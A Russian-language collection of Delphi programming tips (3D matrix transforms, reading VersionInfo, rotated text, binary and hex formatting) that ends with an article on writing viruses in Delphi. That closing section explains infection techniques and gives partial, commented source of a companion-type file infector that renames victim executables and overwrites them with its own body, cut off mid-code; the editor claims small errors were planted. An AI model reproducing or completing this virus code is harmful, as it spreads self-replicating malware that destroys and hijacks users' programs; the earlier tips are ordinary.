Теперь - зачем нужны матрицы в 3D-програмировании, если можно все сделать с помощью векторов, и если, например, поворот точки с помощью векторов занимает меньше операций, чем используя матрицы.
Например, мы отодвигаем камеру и поворачиваем ее. для этого требуется произвести серию операций (переносов, поворотов) с точками (вершинами полигонов) в 3D-сцене. т.е. для каждой точки произвести сначала параллельный перенос, а затем - повороты по всем осям. при использовании векторов мы просто проведем все эти операции отдельно для каждой точки... что весьма ресурсоемко. или - матричные параллельные переносы, повороты.... еще более ресурсоемко, но вспомним:
(A*B)*C = A*(B*C) |
Для матриц.. а нам требуется провести такие преобразования: a*A*B*C*D, где - а-точка-вектор, над которым требуется произвести действия, а A,B,C,D - матрицы переноса и поворотов. Мы вполне можем не последовательно умножать точку-вектор a на матрицы переносов, а сначала перемножить эти матрицы, а затем просто умножать получившуюся матрицу на каждую точку, которую требуется сместить - перемножение 4х матриц, а затем умножение 1 вектора на 1 матрицу на каждую точку по сравнению с подвержением каждой точки векторным преобразованиям - весьма и весьма значительное сокращение производимых операций.
Как вытащить VersionInfo из свойств проекта.
function CurrentFileInfo(NameApp: string): string;
var
dump: DWORD;
size: integer;
buffer: PChar;
VersionPointer, TransBuffer: PChar;
Temp: integer;
CalcLangCharSet: string;
begin
size := GetFileVersionInfoSize(PChar(NameApp), dump);
buffer := StrAlloc(size+1);
try
GetFileVersionInfo(PChar(NameApp), 0, size, buffer);
VerQueryValue(buffer, '\VarFileInfo\Translation', pointer(TransBuffer),
dump);
if dump >= 4 then
begin
temp:=0;
StrLCopy(@temp, TransBuffer, 2);
CalcLangCharSet:=IntToHex(temp, 4);
StrLCopy(@temp, TransBuffer+2, 2);
CalcLangCharSet := CalcLangCharSet+IntToHex(temp, 4);
end;
VerQueryValue(buffer, pchar('\StringFileInfo\'+CalcLangCharSet+
'\'+'FileVersion'), pointer(VersionPointer), dump);
if (dump > 1) then
begin
SetLength(Result, dump);
StrLCopy(Pchar(Result), VersionPointer, dump);
end
else
Result := '0.0.0.0';
finally
StrDispose(Buffer);
end;
end;
|
Информация о версии (Version Info) в Delphi EXE.
unit rpVersionInfo; //версия 1.0 3/8/98 записана и проверена в Delphi 3.
(*Автор Rick Peterson, данный компонент распространяется свободно
и освобожден от платы за использование. В случае изменения
авторского кода просьба прислать измененный код. Сообщайте пожалуйста
обо всех найденных ошибках. Адрес для писем - rickpet@airmail.net. *)
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
TypInfo;
type
{$M+}
(* Видели директиву $M+??? Это заставляет Delphi включать в код RTTI-информацию для
перечислимых типов. В основном допускает работу с перечислимыми типами как
со строками с помощью GetEnumName *)
TVersionType = (vtCompanyName, vtFileDescription, vtFileVersion,
vtInternalName,
vtLegalCopyright, vtLegalTradeMark, vtOriginalFileName,
vtProductName, vtProductVersion, vtComments);
{$M-}
TrpVersionInfo = class(TComponent)
(* Данный компонент позволяет получать информацию о версии вашего приложения
во время его выполенния *)
private
FVersionInfo: array[0..ord(high(TVersionType))] of string;
protected
function GetCompanyName: string;
function GetFileDescription: string;
function GetFileVersion: string;
function GetInternalName: string;
function GetLegalCopyright: string;
function GetLegalTradeMark: string;
function GetOriginalFileName: string;
function GetProductName: string;
function GetProductVersion: string;
function GetComments: string;
function GetVersionInfo(VersionType: TVersionType): string; virtual;
procedure SetVersionInfo; virtual;
public
constructor Create(AOwner: TComponent); override;
published
(* Использовать это очень просто - Label1.Caption := VersionInfo1.FileVersion
Примечание: Все свойства - только для чтения, поэтому они недоступны в
Инспекторе Объектов *)
property CompanyName: string read GetCompanyName;
property FileDescription: string read GetFileDescription;
property FileVersion: string read GetFileVersion;
property InternalName: string read GetInternalName;
property LegalCopyright: string read GetLegalCopyright;
property LegalTradeMark: string read GetLegalTradeMark;
property OriginalFileName: string read GetOriginalFileName;
property ProductName: string read GetProductName;
property ProductVersion: string read GetProductVersion;
property Comments: string read GetComments;
end;
procedure Register;
implementation
constructor TrpVersionInfo.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
SetVersionInfo;
end;
function TrpVersionInfo.GetCompanyName: string;
begin
result := GeTVersionInfo(vtCompanyName);
end;
function TrpVersionInfo.GetFileDescription: string;
begin
result := GeTVersionInfo(vtFileDescription);
end;
function TrpVersionInfo.GetFileVersion: string;
begin
result := GeTVersionInfo(vtFileVersion);
end;
function TrpVersionInfo.GetInternalName: string;
begin
result := GeTVersionInfo(vtInternalName);
end;
function TrpVersionInfo.GetLegalCopyright: string;
begin
result := GeTVersionInfo(vtLegalCopyright);
end;
function TrpVersionInfo.GetLegalTradeMark: string;
begin
result := GeTVersionInfo(vtLegalTradeMark);
end;
function TrpVersionInfo.GetOriginalFileName: string;
begin
result := GeTVersionInfo(vtOriginalFileName);
end;
function TrpVersionInfo.GetProductName: string;
begin
result := GeTVersionInfo(vtProductName);
end;
function TrpVersionInfo.GetProductVersion: string;
begin
result := GeTVersionInfo(vtProductVersion);
end;
function TrpVersionInfo.GetComments: string;
begin
result := GeTVersionInfo(vtComments);
end;
function TrpVersionInfo.GeTVersionInfo(VersionType: TVersionType): string;
begin
result := FVersionInfo[ord(VersionType)];
end;
procedure TrpVersionInfo.SeTVersionInfo;
var
sAppName, sVersionType: string;
iAppSize, iLenOfValue, i: integer;
pcBuf, pcValue: PChar;
begin
sAppName := Application.ExeName;
iAppSize := GetFileVersionInfoSize(PChar(sAppName), iAppSize);
if iAppSize > 0 then
begin
pcBuf := AllocMem(iAppSize);
GetFileVersionInfo(PChar(sAppName), 0, iAppSize, pcBuf);
for i := 0 to Ord(High(TVersionType)) do
begin
sVersionType := GetEnumName(TypeInfo(TVersionType), i);
sVersionType := Copy(sVersionType, 3, length(sVersionType));
if VerQueryValue(pcBuf, PChar('StringFileInfo\040904E4\' +
sVersionType), Pointer(pcValue), iLenOfValue) then
FVersionInfo[i] := pcValue;
end;
FreeMem(pcBuf, iAppSize);
end;
end;
procedure Register;
begin
RegisterComponents('FreeWare', [TrpVersionInfo]);
end;
end.
|
Отобразить информацию из Version Info проекта.
Автор: Xavier Pacheco
{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
unit MainFrm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, FileCtrl, StdCtrls, verinfo, Grids, Outline, DirOutln,
ComCtrls;
type
TMainForm = class(TForm)
lvVersionInfo: TListView;
btnClose: TButton;
procedure FormDestroy(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure btnCloseClick(Sender: TObject);
private
VerInfoRes: TVerInfoRes;
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
procedure AddListViewItem(const aCaption, aValue: string; aData: Pointer;
aLV: TListView);
// This method is used to add a TListItem to the TListView, aLV
var
NewItem: TListItem;
begin
NewItem := aLV.Items.Add;
NewItem.Caption := aCaption;
NewItem.Data := aData;
NewItem.SubItems.Add(aValue);
end;
procedure TMainForm.FormCreate(Sender: TObject);
begin
VerInfoRes := TVerInfoRes.Create(Application.ExeName);
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
VerInfoRes.Free;
end;
procedure TMainForm.FormShow(Sender: TObject);
var
VerString: string;
i: integer;
sFFlags: string;
begin
for i := ord(viCompanyName) to ord(viComments) do
begin
VerString := VerInfoRes.GetPreDefKeyString(TVerInfoType(i));
if VerString <> '' then
AddListViewItem(VerNameArray[TVerInfoType(i)], VerString, nil,
lvVersionInfo);
end;
VerString := VerInfoRes.GetUserDefKeyString('Author');
if VerString <> EmptyStr then
AddListViewItem('Author', VerString, nil, lvVersionInfo);
AddListViewItem('File Version', VerInfoRes.FileVersion, nil,
lvVersionInfo);
AddListViewItem('Product Version', VerInfoRes.ProductVersion, nil,
lvVersionInfo);
for i := 0 to VerInfoRes.FileFlags.Count - 1 do
begin
if i <> 0 then
sFFlags := SFFlags + ', ';
sFFlags := SFFlags + VerInfoRes.FileFlags[i];
end;
AddListViewItem('File Flags', SFFlags, nil, lvVersionInfo);
AddListViewItem('Operating System', VerINfoRes.FileOS, nil, lvVersionInfo);
end;
procedure TMainForm.btnCloseClick(Sender: TObject);
begin
Close;
end;
end.
Форма с данными о приложении Version Info.
Автор: Жилин С.В.Данная простая процедура создает небольшое диалоговое окно с данными о приложении, взятыми из Version Info в Delphi проекте. Окно автоматически изменяет свой размер в зависимости от данных Version Info.
{
Данная процедура показывает небольшое диалоговое окно с данными
о программе взятыми из Version Info. Окно автоматически изменяет
свой размер в зависимости от данных Version Info.
Жилин С.В.
jilin@list.ru
}
unit AboutF;
interface
uses
Windows, SysUtils, Graphics, Controls, Forms, StdCtrls, ExtCtrls;
procedure ShowAbout;
implementation
procedure ShowAbout;
var
About: TForm;
S, TS: string;
h, sz, Len: DWORD;
Buf: PChar;
Value: Pointer;
LabelLeft, i: Integer;
begin
S := Application.ExeName;
sz := GetFileVersionInfoSize(PChar(S), h);
if sz > 0 then
begin
Buf := AllocMem(sz);
GetFileVersionInfo(PChar(S), h, sz, Buf);
VerQueryValue(Buf, '\VarFileInfo\Translation', Value, Len);
TS := IntToHex(MakeLong(HiWord(Longint(Value^)), LoWord(Longint(Value^))), 8);
About := TForm.Create(Application);
with About do
try
Caption := 'О программе: ' + Application.Title;
Position := poScreenCenter;
BorderStyle := bsDialog;
with TImage.Create(Application) do
begin
Picture.Icon := Application.Icon;
Left := 10;
Top := 10;
Parent := About;
AutoSize := True;
LabelLeft := Left + Width + 10;
end;
VerQueryValue(Buf, PChar('StringFileInfo\' + TS + '\ProductName'), Pointer(Value), Len);
if Len > 1 then
with TLabel.Create(Application) do
begin
Left := LabelLeft;
Top := About.Controls[About.ControlCount - 1].Top;
Font.Size := 10;
Font.Style := [fsBold];
Font.Color := clNavy;
Parent := About;
Caption := StrPas(PChar(Value));
end;
VerQueryValue(Buf, PChar('StringFileInfo\' + TS + '\FileVersion'), Pointer(Value), Len);
if Len > 1 then
with TLabel.Create(Application) do
begin
Left := LabelLeft;
Top := About.Controls[About.ControlCount - 1].Top + About.Controls[About.ControlCount - 1].Height + 5;
Caption := 'Версия: ' + StrPas(PChar(Value));
Parent := About;
end;
VerQueryValue(Buf, PChar('StringFileInfo\' + TS + '\CompanyName'), Pointer(Value), Len);
if Len > 1 then
with TLabel.Create(Application) do
begin
Left := LabelLeft;
Top := About.Controls[About.ControlCount - 1].Top + About.Controls[About.ControlCount - 1].Height + 5;
Caption := 'Компания: ' + StrPas(PChar(Value));
Parent := About;
end;
VerQueryValue(Buf, PChar('StringFileInfo\' + TS + '\Author'), Pointer(Value), Len);
if Len > 1 then
with TLabel.Create(Application) do
begin
Left := LabelLeft;
Top := About.Controls[About.ControlCount - 1].Top + About.Controls[About.ControlCount - 1].Height + 5;
Caption := 'Автор: ' + StrPas(PChar(Value));
Parent := About;
end;
Height := Controls[ControlCount - 1].Top + Controls[ControlCount - 1].Height + 85;
Width := 10;
for i := 0 to ControlCount - 1 do
if Controls[i] is TLabel then
if Controls[i].Left + Controls[i].Width + 20 > Width then
Width := Controls[i].Left + Controls[i].Width + 20;
with TButton.Create(Application) do
begin
Caption := 'Ok';
Left := Trunc((About.Width / 2) - (Width / 2));
Top := Trunc(About.Height - 60);
ModalResult := mrOk;
Cursor := crHandPoint;
Parent := About;
end;
with TBevel.Create(Application) do
begin
Shape := bsTopLine;
Style := bsRaised;
Align := alBottom;
Parent := About;
Height := About.Controls[About.ControlCount - 1].Height + 20;
end;
ShowModal;
finally
Free;
end;
end;
end;
end.
Рекомендации по заполнению таблицы Version Info.
Автор: Павел Данный документ описывает принципы заполнения информации о версии исполняемого модуля (закладка "Version Info" в "Project Options"). Для включения в компилируемый модуль информации о версии следует активировать переключатель "Include version information in project", а также переключатель "Auto-increment build number". Группа "Module version number"Данная группа описывает номер версии модуля. Общепринятые правила заполнения этой группы полей таковы:
"Major version" - старший номер версии. Стартовое значение - "1". Для многомодульных проектов обычно совпадает с номером версии самого проекта. Данный параметр характеризует порядковый номер версии архитектуры системы и меняется реже всего; "Minor version" - младший номер версии. Стартовое значение - "0". В многомодульных проектах может не совпадать с младшим номером версии самого проекта. Параметр характеризует большие алгоритмические или косметические изменения (например, добавление новой функции или исправление большой ошибки); "Release" - номер версии выпуска (релиз). Стартовое значение - "0". Параметр характеризует небольшие косметические или алгоритмические изменения (например, исправление текста надписи); "Build" - номер сборки (билда). Стартовое значение - "0". Специальный параметр, который увеличивается автоматически при вызове функции "Project - Build xxx" или "Project - Build all projects". Данный параметр является сквозным в рамках проекта модуля. То есть, пока модуль редактируется и/или пересобирается, данный параметр должен отражать количество произведенных модификаций. При старте аналогичного проекта "с нуля", номер сборки не переносится в новый проект. Группа "Module attributes" Группа позволяет создать дополнительные информационные ключи. Во время работы над отладочной версией рекомендуется активировать переключатель "Debug build". Параметр "Language" Данный параметр задает язык проекта. Для русскоязычных проектов должен быть "Russian" (числовое значение - "$419"), а для англоязычных проктов должен быть - "English (United States)" (числовое значение - "$409"). Группа строковых параметров В данном редакторе заполняются дополнительные динамически создаваемые при изменении остальных параметров формы поля. Опишу некоторые из них. "CompanyName" - наименование компании, разрабатывающей модуль. (например, - "Координационный Центр "Система"); "InternalName" - внутреннее имя проекта. Совпадает с названием модуля системы. "ProductVersion" - номер версии продукта, заполняется в ручную, должен быть равен числовым полям группы "Module version number". Разрешается указывать только Major- и Minor- версии.Вертикальный текст.
var
Hfont: Thandle;
logfont: TLogFont;
font: Thandle;
count: integer;
begin
LogFont.lfheight := 30;
logfont.lfwidth := 10;
logfont.lfweight := 900;
LogFont.lfEscapement := -200;
logfont.lfcharset := 1;
logfont.lfoutprecision := out_tt_precis;
logfont.lfquality := draft_quality;
logfont.lfpitchandfamily := FF_Modern;
font := createfontindirect(logfont);
Selectobject(Form1.canvas.handle, font);
SetTextColor(Form1.canvas.handle, rgb(0, 0, 200));
SetBKmode(Form1.canvas.handle, transparent);
{textout(form1.canvas.handle,10,10,'Повернутый',7);}
for count := 1 to 100 do
begin
canvas.textout(Random(form1.width), Random(form1.height), 'Повернутый');
SetTextColor(form1.canvas.handle, rgb(Random(255), Random(255),
Random(255)));
end;
deleteobject(font);
end;
|
Вертикальный TitleBar.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
type
TForm1 = class(TForm)
procedure FormResize(Sender: TObject);
procedure FormPaint(Sender: TObject);
private
procedure VerticalTitleBar(Texto: string; Size: Integer);
end;
const
MY_TITLE_TEXT = 'Vertical Text';
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.VerticalTitleBar(TexTo: string; Size: Integer);
var
LogFont: TLogFont;
tmpCanvas: TCanvas;
tmpRect: TRect;
x1, x2, y1, y2: integer;
begin
tmpCanvas := TCanvas.Create;
tmpCanvas.Handle := GetWindowDc(Handle);
try
GetObject(Canvas.Font.Handle, SizeOf(LogFont), @LogFont);
with LogFont do
begin
lfEscapement := 90 * 10;
lfOrientation := 90 * 10;
lfOutPrecision := OUT_TT_ONLY_PRECIS;
lfFaceName := 'Arial';
lfHeight := Size;
lfWeight := FW_BOLD;
lfQuality := PROOF_QUALITY;
end;
with tmpCanvas do
begin
Font.Handle := CreateFontIndirect(LogFont);
Font.Color := clWhite;
Brush.Color := clNavy;
end;
x1 := GetSystemMetrics(SM_CXEDGE) + GetSystemMetrics(SM_CXBORDER);
x2 := 20;
y1 := GetSystemMetrics(SM_CYCAPTION) + GetSystemMetrics(SM_CYEDGE) +
GetSystemMetrics(SM_CYBORDER) + 1;
y2 := Height - GetSystemMetrics(SM_CYEDGE) - GetSystemMetrics(SM_CYBORDER);
tmpRect := Rect(x1, y1, x2, y2);
tmpCanvas.FillRect(tmpRect);
DrawText(tmpCanvas.Handle, PChar(Texto), - 1, tmpRect, DT_BOTTOM or
DT_SINGLELINE);
finally
tmpCanvas.Free;
end;
end;
procedure TForm1.FormResize(Sender: TObject);
begin
VerticalTitleBar(MY_TITLE_TEXT, 12);
end;
procedure TForm1.FormPaint(Sender: TObject);
begin
VerticalTitleBar(MY_TITLE_TEXT, 12);
end;
end.
Функции VER.DLL.
Это не в точности то, что вы ищите, но надеюсь, что это поможет. Я показываю информацию о версии в диалоговом окне "О программе", код приведен ниже. Блок StringFileInfo вы можете и не использовать, он необходим для осуществления простейшей проверки, вместо этого можно получить информацию из корневого блока (для дополнительной информации смотри структуру TVS_FIXEDFILEINFO в файле помощи по API).
procedure TAboutBox.FormCreate(Sender: TObject);
var
VIHandle: LongInt;
VSize: LongInt;
VData: Pointer;
VVers: Pointer;
Len: Word;
FileName: string;
const
{ Предустановленный набор символов U.S., если я правильно помню }
Prefix = '\StringFileInfo\040904E4\';
function GetVerValue(Value: string): string;
var
ItemName: string;
begin
ItemName := Prefix + Value + chr(0);
Result := '';
if VerQueryValue(VData, @ItemName[1], VVers, Len) then
if Len > 0 then
begin
if Len > 255 then
Len := 255; { "Обрезаем" любые длинные строки }
Move(VVers^, Result[1], Len);
Result[0] := Chr(Len);
end;
end;
begin
FileName := Application.EXEName + chr(0);
VSize := GetFileVersionInfoSize(@FileName[1], VIHandle);
if VIHandle <> 0 then
begin
GetMem(VData, VSize);
try
if GetFileVersionInfo(@FileName[1], VIHandle, VSize, VData) then
begin
{ В этом месте мы получаем значения из блока StringFileInfo,
но точно также мы могли бы взять значения из корневого блока,
используя VerQueryValue }
ProductName.Caption := GetVerValue('ProductName');
Version.Caption := GetVerValue('ProductVersion');
Copyright.Caption := GetVerValue('LegalCopyright');
Comments.Caption := GetVerValue('FileDescription');
end;
finally
FreeMem(VData, VSize);
end;
end;
end;
|
Показывать значения в двоичном представлении.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function BinB(b: Byte): string;
var
s: string;
i: word;
begin
s := '';
for i := 7 downto 0 do
if (b and (1 shl i)) > 0 then
s := s + '1'
else
s := s + '0';
BinB := s;
end;
function BinW(w: Word): string;
var
s: string;
i: word;
begin
s := '';
for i := 15 downto 0 do
if (w and (1 shl i)) > 0 then
s := s + '1'
else
s := s + '0';
BinW := s;
end;
function BinL(l: Longint): string;
var
HL: HiLo absolute l;
begin
BinL := BinW(HL.HiWord) + BinW(HL.LoWord);
end;
Показывать значения в шестнадцатеричном представлении.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function HexB(b: Byte): string; const HexChar: array[0..15] of char = '0123456789ABCDEF'; begin HexB := HexChar[b shr 4] + HexChar[b and $0F]; end; function HexW(w: Word): string; begin HexW := HexB(Hi(w)) + HexB(Lo(w)); end; function HexL(l: Longint): string; var HL: HiLo absolute l; begin HexL := HexW(HL.HiWord) + HexW(HL.LoWord); end; function HexP(p: Pointer): string; var HL: HiLo absolute p; begin HexP := HexW(HL.HiWord) + ':' + HexW(HL.LoWord); end;
Вирус на Delphi.
Автор: Dr.Klouniz Прислал: Прокопец Антон ВНИМАНИЕ: вся информация дана исключительно в образовательных целях Большинство пользователей и даже некоторые программисты считают, что все вирусы пишутся в основном на ассемблере, иногда на Си, а на других языках даже помыслы об ЭТОМ считаются греховными. Это, разумеется, бред (бред- ложное умозаключение, возникающее на фоне болезни, не поддается логической коррекции). На самом деле вирусы можно писать на чем угодно- прологе, коболе, васике а также на стенах в сортире- были бы руки прямые. Мы будем писать на Дельфи. Итак, понятие о вирусе. Прежде всего, вирус- это программа. Точное определение этому волшебному явлению еще не придумал даже Лозинский, однко общие функции вируса таковы- саморазмножение, заражение программ, выполнения других задач, заложенных в него автором- Format C:, звуковые эффекты и пр. Разные вирусы отличаются друг от друга способами заражения и распространения, а также размером. Здесь я не буду приводить классификацию всех вирусов, а коснусь только близких нам- высокоуровневых.Классификация
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.о. программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и “заражает” дальше. HLLC- High Level Language Companion. Большинство таких вирусов относятся к седой древности (6-7 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация HLLC- более современная: Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.о., пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны. HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди. Первым стартует вирус, затем он восстанавливает программу и запускает ее. С написанием таких вирусов под Win связана проблема- Windows запрещает доступ к запущенному файлу- т.е. мы не можем читать “из себя”.Ну с классификацией я закончил, теперь прочитай свод базовых знаний (типа, курс лекций), и можно приступать к осваиванию исходника. Итак, что же нам нужно знать: Работа с файлами- вирус довольно активно с ними общается:
Связь с файлом:procedure AssignFile(var F; FileName: string); // Например: AssignFile(F1, ’klizma.exe’);Открытие файла для чтения:
procedure Reset(var F[: file; RecSize: Word]); // Например: Reset(F1);Чтение инфы из файла в буфер:
procedure BlockRead(var F: file; var Buf; Count: Integer[; var AmtTransferred: Integer]);Здесь buf- массивчик, напр.
Buf: array[1..65535] of Char;Count- сколько байтов ты хочешь прочесть AmtTransfered- сколько реально прочитано.
// Например: BlockRead(F1, Buf, 1024);Запись из буфера в файл:
procedure BlockWrite(var f: file; var Buf; Count: Integer[; var AmtTransferred: Integer]);
Почти то же, что и предыдущее.
Открытие файла на запись, вся запись будет проводиться в конец файла: Append (F: File); Открытие файла для перезаписи: procedure Rewrite(var F: File [; Recsize: Word ] ); Содержимое файла при этом обнуляется. Поиск файла. Без него нам никак не обойтись, надо же искать жертву J.function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer;Attr- атрибуты файла, например faAnyFile- любой файл, faArchive- архивный, faHidden- скрытый. F- переменная типа TsearchRec, в нее дельфи запихивает все хар-ки найденного файла.
// Например: FindFirst(‘ * .exe’, faAnyFile, sr);Sr.Name- имя найденного файла Sr.Size- его размер.
Чтобы искать следующий такой же файл, пиши FindNext (Sr); Если файл найден, то процедуры FindFirst и FindNext возвращают 0 (зеро). Подсказываю: можешь в своем вирусе создать интересный циклик:
Result := FindFirst('*.exe', faAnyFile, sr);
while result = 0 do
begin
//Сюда пишешь процедуру заражения
FindNext(sr);
end;
8.Закрытие файла, все наши с ним извращения сохраняются: procedure CloseFile(var F: file);9.Сдвиг рамки считывания:
procedure Seek(var F; N: Longint);Поясню попонятнее: допустим, надо прочесть кусок объемом 1000 байт из файла в 3000 байт так, чтобы последний байт попал в буфер; ясно, что считывание надо начить (и потом углубитьJ) не с отметки 0 а с отметки 1000 байт! Посему пишем:
Seek(F1,1000);А потом уже
BlockRead (…);10.Иногда,если чего-то не получилось, важно быть об этом проинформированым. Допустим, надо узнать, удалось ли чтение из файла. Непосредственно после BlockRead пишем:
if IOResult = 0 thenЕсли ноль, то все успешно, если нет- возвращается код ошибки. Такой прием возможен, только если
{$I-}
11.Когда необходимо завершить программу, не особо удивляя при этом юзера (например в HLLO вирусах, когда нет программы для запускаJ) лично я вызываю старый добрый stack overflow: function BlowTheStack(I: Integer): Integer; var J: Integer; begin J := 2; Result := BlowTheStack(I * J); end;12.Установка атрибутов файла:
FileSetAttr(Filename: string, FileAttr); // Например: FileSetAttr(‘klizma.exe’, faHidden);Fileattr- как в findfirst. Итак, если ты дочитал досюда- ставлю ящик пива, лично я бы давно уже завязал J. Открывай теперь исходник, там все подробно откомментировано, а здесь я поясню только общие принципы. Это извращение- вирус типа HLLC, весьма простой- вообще и для понимания в частности. Алгоритм его таков: при заражении вирус исходный файл переименовывает в нечто случайное и помещает в каталог c:\windows\ или где там винды (это в боевой версии, в моем исходнике вся возня происходит в директории c:\INF\). Своим телом вирь замещает оригинальный файл, причем если оригинал больше виря менее, чем вдвое, вирь добавляет к себе кусочек себя же J, чтобы не отличится по размеру от оригинала. В каталоге с виндами создается также занимательный файл- filelist.ini, в котором вирь фиксирует зависимость между оригинальным и случайным именами файла (т.е. при запуске вирь получает имя своего файла, допустим winword.exe, смотрит в каталог и видит там: winword.exe= 34258352.340., затем переименовывает этот цифирный файл в свой каталог, но с именем winword.exe(впереди- пробел или символ “_”), и запускает этот “левый” файл. После завершения работы левого файла управление получает вирь, ища и заражая файлы). При первом старт С алгоритмом заражения и старта вроде, все. Кстати, для чтения и записи в файл я использовал такую могучую вещь, как TfileStream. Что это такое и с чем кушать- посмотри в хелпе, хотя по исходнику это и так понятно. Чтобы гонять вирь на своем компе, и не опасаться злых духов надо создать каталог c:\INF, и все действия проводить там- как видно из исходника, вирь только там и может работать- что поделаешь, небоевая версия… Совет напоследок Вирь после компиляции будет весить поболее 200 Кб (царский размер!), поэтому напрягись и сожми его NeoLite’ом- хороший пакер для EXE и DLL файлов, с дельфийских прог сносит ~40% избыточного веса, а с опцией MaxCmp файл обратно уже не распаковывается. Взять его можно тут: www.neoworx.com, весит он 568Кб. P.S. Чти УК РСФСР, как чту его я! Написание вирусов, наверное, наказуемо по статье 273. И если ты придешь в отделение милиции в майке с исходным текстом своего вируса, обвешанным дискетами с ним же и чистосердечно во всем признаешься, тебя посадят. На 15 суток, за хулиганство и нарушение общественного порядка! Примечание VR-online На этом теоретическая часть статьи заканчивается, остаётся только отдать исходник. Исходник я не дам качать просто так, потому что я не поддерживаю тех, кто пишет вирусы. Но только для обучения я привожу его как текст к статье. Предупреждаю, что я сделал тут несколько незначительных ошибок, чтобы начинающие программисты не навредили себе и другим. Если ты обладаешь хотя бы начальными знаниями в Delphi, то ты исправишь эти ошибки без проблем. И надеюсь, что не будешь использовать знания в разрушительных целях, а наоборот воспользуешься ими для защиты себя и окружающих. Помни, что ты не станешь лучше если уничтожишь компьютер соседа.
Исходник
{
BLACK MAMMONTH VIRUS,
ОБУЧАЮЩАЯ ВЕРСИЯ.
MADE IN USSR,
Dr.Klouniz
КАК ИГРАТЬСЯ С ЭТИМ ВИРУСОМ. ЮЗЕР МАНУАЛ:
1.Создаем каталог c:\inf
2.Компилируем вирус (Project--> Build)
3.Сравниваем размер полученного файла с константой VIRLEN; если не совпадает-
измени константу и перекомпилиру }
4. Переписываем в каталог c: \inf несколько exe - файлов и вирус.Запускаем вирус.
}
{$I-} //Игнорировать I/O ошибки
{$D-} //Не вводить в код отладочную информацию
program VirDebug;
uses sysutils, //Заголовочные файлы
windows,
registry, //Работа с системным реестром
classes,
inifiles; //Работа с INI-файлами
const
VIRLEN = 296960; //Длина нашего вируса. После компиляции сравните получ.
//размер с указанным здесь, при необходимости измените и перекомпилируйте
var
zertva, virus: TFileStream; //Мы и жертва
//буфера для чтения записи довеска и вируса
vir, dovesok: array[1..VirLen] of Char;
result: integer; //результат FindFirst'а
client, sr: TSearchRec;
//Массив имени файла
Name: array[1..8] of string;
//Массив расширения файла
Ext: array[1..3] of string;
//Наш INI-каталог; вирус- полноценная прога под WindoZ!
Info: TINIFILE;
NewName, pr, par, FromF: string; //Разные строчки
//Дата как метка зараженности
Birth: TDateTime;
kill, slay, winvir, NewProga: file; //файлы
//Индикатор зараженности (TRUE/FALSE)
infected: boolean;
//Текстовый файл-визитка; свидетельствует о том, что это не первый
//старт виря на данном компьютере
check: textfile;
si: Tstartupinfo;
p: Tprocessinformation;
reg: TRegistry;
// Функция- копировалка
function WindowsCopyFile(FromFile, ToDir: string): boolean;
var
F: TShFileOpStruct;
begin
F.Wnd := 0;
F.wFunc := FO_COPY;
FromFile := FromFile + #0;
F.pFrom := pchar(FromFile);
ToDir := ToDir + #0;
F.pTo := pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
result := ShFileOperation(F) = 0;
end;
procedure INFECTFILES; //Процедура-инфектор
begin
//Находим исполн. файл в каталоге c:\inf\
result := FindFirst('c:\INF\*.exe', faAnyFile, client);
while Result = 0 do //Если нашли, то...
begin
//Проверка на вшивость
Infected := false;
//если дата- 09.08.83 и время 6:00, то файл заражен и нам не нужен
if DateTimeToStr(FileDateToDateTime(fileage('c:\INF\' + client.name))) =
'09.08.83 06:00:00' then
infected := true;
//Проверено!
//если мы нашли не сами себя и не зараженный файл, то...
if (client.name <> sr.name) and (infected = false) and
(client.name <> 'mammonth.exe') then
. //Сочиним новое имя для нашей жертвы;
begin
Name[1] := inttostr(random(10));
Name[2] := inttostr(random(10));
Name[3] := inttostr(random(10));
Name[4] := inttostr(random(10));
Name[5] := inttostr(random(10));
Name[6] := inttostr(random(10));
Name[7] := inttostr(random(10));
Name[8] := inttostr(random(10));
Ext[1] := inttostr(random(10));
Ext[2] := inttostr(random(10));
Ext[3] := inttostr(random(10));
NewName := name[1] + name[2] + name[3] + name[4] + name[5] + name[6] +
name[7] +
name[8] + '.' + ext[1] + ext[2] + ext[3]; //скомпонуем новое имя
//Свяжемся с нашей жертвой
AssignFile(Kill, 'c:\INF\' + client.name);
//Отправим ее в загон для всех таких же, с уникальным именем
ReName(Kill, 'c:\INF\files\' + NewName);
//Фиксируем новое имя в нашем каталоге
Info := TIniFile.create('c:\inf\filelist.ini');
with info do
begin
//Пишем данные с каталог в виде Исходное_имя_файла=Новое_имя_файла
WriteString('FILELIST', client.name, NewName);
free;
end;
//А теперь заразим страшным ВИРУСОМ наш файл!
//Открываем на чтение наш семенной фонд :)
||virus := TFileStream.create('c:\inf\mammonth.exe', fmOpenRead);
Virus.Read(vir, VirLen);
//Читаем вирус полностью (константу VirLen помнишь?)
//Если клиент поболее нас, но не более чем вдвое,
if (Client.Size > VirLen) and ((Client.Size - VirLen) <= VirLen) then
//то сравняем размеры
begin
Virus.Position := 1; //Рамка считывания- сначала
Virus.Read(Dovesok, Client.Size - VirLen); //читаем довесок
end;
//перепишем жертву по- нашему
